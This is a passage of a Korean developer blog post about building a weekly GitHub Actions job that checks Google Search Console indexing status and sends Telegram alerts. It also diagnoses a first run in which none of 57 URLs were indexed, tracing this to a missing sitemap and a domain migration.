&lt;p&gt;Telegram은 제한적 HTML을 지원합니다. &lt;code class=&quot;language-text&quot;&gt;&amp;lt;b&gt;&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;&amp;lt;i&gt;&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;&amp;lt;code&gt;&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;&amp;lt;a&gt;&lt;/code&gt; 정도.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;js&quot;&gt;&lt;pre class=&quot;language-js&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;sendTelegram&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;token&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; chatId&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; text&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; url &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;https://api.telegram.org/bot&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;token&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;/sendMessage&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; res &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;POST&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token string-property property&quot;&gt;&quot;Content-Type&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;application/json&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;stringify&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token literal-property property&quot;&gt;chat_id&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; chatId&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      text&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token literal-property property&quot;&gt;parse_mode&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;HTML&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token literal-property property&quot;&gt;disable_web_page_preview&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;res&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;ok&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;Telegram &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;res&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;status&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;: &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; res&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;GitHub Actions 워크플로우&lt;/h2&gt;
&lt;p&gt;cron으로 주간 실행 + 수동 트리거(&lt;code class=&quot;language-text&quot;&gt;workflow_dispatch&lt;/code&gt;) 지원.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; GSC Indexing Monitor

&lt;span class=&quot;token key atrule&quot;&gt;on&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;schedule&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;cron&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;0 0 * * 1&quot;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;# 매주 월요일 00:00 UTC (09:00 KST)&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;workflow_dispatch&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;inputs&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token key atrule&quot;&gt;force_notify&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;변경 없어도 Telegram 알림 전송&quot;&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;default&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;false&quot;&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; choice
        &lt;span class=&quot;token key atrule&quot;&gt;options&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;false&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;true&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;token key atrule&quot;&gt;permissions&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;contents&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; write

&lt;span class=&quot;token key atrule&quot;&gt;jobs&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;monitor&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;runs-on&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; ubuntu&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;latest
    &lt;span class=&quot;token key atrule&quot;&gt;steps&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;uses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; actions/checkout@v4
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;uses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; actions/setup&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;node@v4
        &lt;span class=&quot;token key atrule&quot;&gt;with&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;node-version&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;20&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Check credential
        &lt;span class=&quot;token key atrule&quot;&gt;env&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;GSC_SERVICE_ACCOUNT_KEY&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; $&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; secrets.GSC_SERVICE_ACCOUNT_KEY &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; test &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;n &quot;$GSC_SERVICE_ACCOUNT_KEY&quot;

      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Install
        &lt;span class=&quot;token key atrule&quot;&gt;working-directory&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; scripts/gsc&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;monitor
        &lt;span class=&quot;token key atrule&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; npm ci &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;no&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;audit &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;no&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;fund

      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Run
        &lt;span class=&quot;token key atrule&quot;&gt;working-directory&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; scripts/gsc&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;monitor
        &lt;span class=&quot;token key atrule&quot;&gt;env&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;GSC_SERVICE_ACCOUNT_KEY&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; $&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; secrets.GSC_SERVICE_ACCOUNT_KEY &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;TELEGRAM_BOT_TOKEN&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; $&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; secrets.TELEGRAM_BOT_TOKEN &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;TELEGRAM_CHAT_ID&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; $&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; secrets.TELEGRAM_CHAT_ID &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;GSC_SITE_URL&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; sc&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;domain&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;blog.javapark.kr
          &lt;span class=&quot;token key atrule&quot;&gt;SITE_ORIGIN&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; https&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;//blog.javapark.kr
          &lt;span class=&quot;token key atrule&quot;&gt;FORCE_NOTIFY&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; $&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; inputs.force_notify &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;token key atrule&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; node run.js

      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Commit status
        &lt;span class=&quot;token key atrule&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token scalar string&quot;&gt;
          git config user.name &quot;gsc-monitor-bot&quot;
          git config user.email &quot;bot@users.noreply.github.com&quot;
          git add data/indexing-status.json
          if git diff --staged --quiet; then
            echo &quot;No changes&quot;
          else
            git commit -m &quot;chore(gsc): update $(date -u +%Y-%m-%d)&quot;
            git push
          fi&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;2026년 4월 첫 실행 결과 — 57/0 사태&lt;/h2&gt;
&lt;p&gt;준비가 끝나고 &lt;strong&gt;수동 트리거&lt;/strong&gt;로 첫 실행을 돌렸습니다. &lt;code class=&quot;language-text&quot;&gt;data/indexing-status.json&lt;/code&gt;에 저장된 결과:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json&quot;&gt;&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;generatedAt&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;2026-04-20T16:06:00.795Z&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;siteUrl&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;sc-domain:blog.javapark.kr&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;summary&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;total&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;57&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;indexed&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;rate&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;stillPending&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;57&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;57개 URL 전부 다음과 같은 상태:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json&quot;&gt;&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;verdict&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;NEUTRAL&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;coverageState&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Google에는 아직 알려지지 않은 URL입니다.&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;indexingState&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;INDEXING_STATE_UNSPECIFIED&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;lastCrawlTime&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token null keyword&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;googleCanonical&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token null keyword&quot;&gt;null&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;충격이었습니다.&lt;/strong&gt; 모니터링을 만들지 않았으면 이 상태를 몇 달 더 모른 채 글을 계속 올리고 있었을 겁니다.&lt;/p&gt;
&lt;h3&gt;이 상태의 의미&lt;/h3&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;&quot;Google에는 아직 알려지지 않은 URL입니다&quot;&lt;/code&gt;는 구글 봇이 한 번도 이 URL을 방문하지 않았다는 뜻입니다. 이게 광범위하게 발생하면 보통 다음 4가지 중 하나입니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;원인 후보&lt;/th&gt;
&lt;th&gt;진단 방법&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;① sitemap이 GSC에 제출되지 않음&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;GSC → &lt;code class=&quot;language-text&quot;&gt;Sitemaps&lt;/code&gt; 메뉴에서 sitemap-index.xml &lt;strong&gt;수동 등록&lt;/strong&gt; 여부 확인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;② 속성이 최근 추가되었고 아직 크롤링 미실행&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;GSC 속성 &quot;추가 일자&quot; 확인. 2주 이내면 정상 — 기다림&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;**③ 사이트가 최근 마이그레이션됨&lt;/td&gt;
&lt;td&gt;도메인 변경, 플랫폼 이관(GitHub Pages → Netlify 등) 후 새 도메인의 크롤링 히스토리 부족**&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;④ robots.txt가 광범위 차단&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;https://blog.javapark.kr/robots.txt&lt;/code&gt; 확인. &lt;code class=&quot;language-text&quot;&gt;Disallow: /&lt;/code&gt;가 있으면 전면 차단&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;제 경우는 ①과 ③의 조합이었습니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;최근 &lt;code class=&quot;language-text&quot;&gt;javapark.github.io&lt;/code&gt; → &lt;code class=&quot;language-text&quot;&gt;blog.javapark.kr&lt;/code&gt; 도메인으로 Netlify 이관&lt;/li&gt;
&lt;li&gt;새 도메인 속성을 GSC에 추가는 했지만 &lt;strong&gt;sitemap 제출은 안 함&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/fcae625dc48c86cb950d8ba54010506b/64756/diagram-findings.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 50.23255813953489%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB6UlEQVR42h2RSZabMABEuUJju7FAgAySEJMkJgmJwVO323E6yT4v29z/CnHnvb+oTVUtvuP6NUs6Qkc53nn7llYnPT0afe/sYzz+QvkMiIaZCZmNiiliFlID6RgQBVLlbPwqQ01OlG6vslroc6WetflYzj+r6T1t15AqVNqwmEFm/f8AOgIy7pPBcUFZYVUQBaEMAw4hD0DNy/7+8W1cLnKwTT9JMzP7ELc/B/3pNx+BvO3rq/dV9itBhiJfXKR2XvHq10HYZLRt1arMpVXHgo952SO+Yv0j6e5+efLydUvnHeqd11Ac0gFThXGX4oEQXeU2Y7PovhfinZYXWp4TcWHVUtZLyuwBK5T0cTK8Ro0DYpEzlTNNcBvFPUJdADmrruf7X3P8ncsfmfjE/CH55WTugh8LZkjSYdR4oXiWpayGttai6HgxiMpQ2iNiomw95EfEVj8dQWogVhB3MVFBLPewBpBvIXe8uBmkuppuHZqT7i52ta2NiQ4y42MNsAJEeUTtcL9L+m3SbVGzjeQGCjeonX3aA6ZArkFhgqeSYY3tmcw3PN3wfEumN2SuyL4dpvfYXnfV6GaDS/uXpHnxa+fp2qdfP5A9ZU5RvYb1EpXzM8Pc+rnx2bj/QnuZ2iTtJpYvId9EjRvwf0SaaD9CeFncAAAAAElFTkSuQmCC&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/fcae625dc48c86cb950d8ba54010506b/a1b3b/diagram-findings.webp 215w,
/static/fcae625dc48c86cb950d8ba54010506b/fc700/diagram-findings.webp 430w,
/static/fcae625dc48c86cb950d8ba54010506b/521f7/diagram-findings.webp 860w,
/static/fcae625dc48c86cb950d8ba54010506b/cbd37/diagram-findings.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/fcae625dc48c86cb950d8ba54010506b/f7886/diagram-findings.png 215w,
/static/fcae625dc48c86cb950d8ba54010506b/bc750/diagram-findings.png 430w,
/static/fcae625dc48c86cb950d8ba54010506b/3e3fe/diagram-findings.png 860w,
/static/fcae625dc48c86cb950d8ba54010506b/64756/diagram-findings.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/fcae625dc48c86cb950d8ba54010506b/3e3fe/diagram-findings.png&apos; alt=&apos;첫 실행 0/57 인덱싱 결과와 원인 진단 매트릭스 — sitemap 미제출·속성 신규·도메인 이관·robots.txt 4가지 후보&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
